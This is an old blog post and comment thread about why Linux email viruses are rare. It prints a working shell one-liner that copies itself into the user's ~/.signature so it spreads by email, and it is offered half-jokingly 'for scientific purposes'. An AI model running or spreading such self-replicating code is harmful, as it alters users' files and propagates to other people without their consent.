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Unix email viruses, do they exist?

Seeing all the thousends of email viruses in my spam folder, all probably specific to windows, iam wondering why havnt i seen any for linux. Are linux users too intelligent to copy and past unknown code into their terminal or execute a attached executable?

Its not hard to write a email virus for linux, if you dont belive me see the example below. Note, the code is public domain i dont claim any copyright on it. Standard disclaimer: iam not resposible for the consequences of using this code for anything even less so modificated variants of it. Iam just providing this for scientific purposes! Do not use it for any evil!

echo ' echo echo `echo -e \\\47;cat /tmp/t;echo -e \\\47`\>/tmp/t\;. /tmp/t>>~/.signature'>/tmp/t;. /tmp/t

Filed under: Off Topic — Michael @ 01:31


  1. Don’t forget the standard way of spreading UNIX virii – “Look, it’s a virus! – Let me have a copy.” ;)

    Comment by Kostya — 2007-06-20 @ 05:37

  2. What does it actually do? I don’t want to try it on my skin by executing it ;)

    Comment by giandrea — 2007-06-20 @ 14:19

  3. > What does it actually do? I don’t want to try it on my skin by executing it

    RTFM man sh :)
    running it on a computer be that your own or one of a “good” friend might not directly awnser that question, its not as if a virus would print out exactly what it did …

    but what it does do should be harmless (assuming its not buggy, ive only tested it on one computer)

    Comment by Michael — 2007-06-23 @ 02:25

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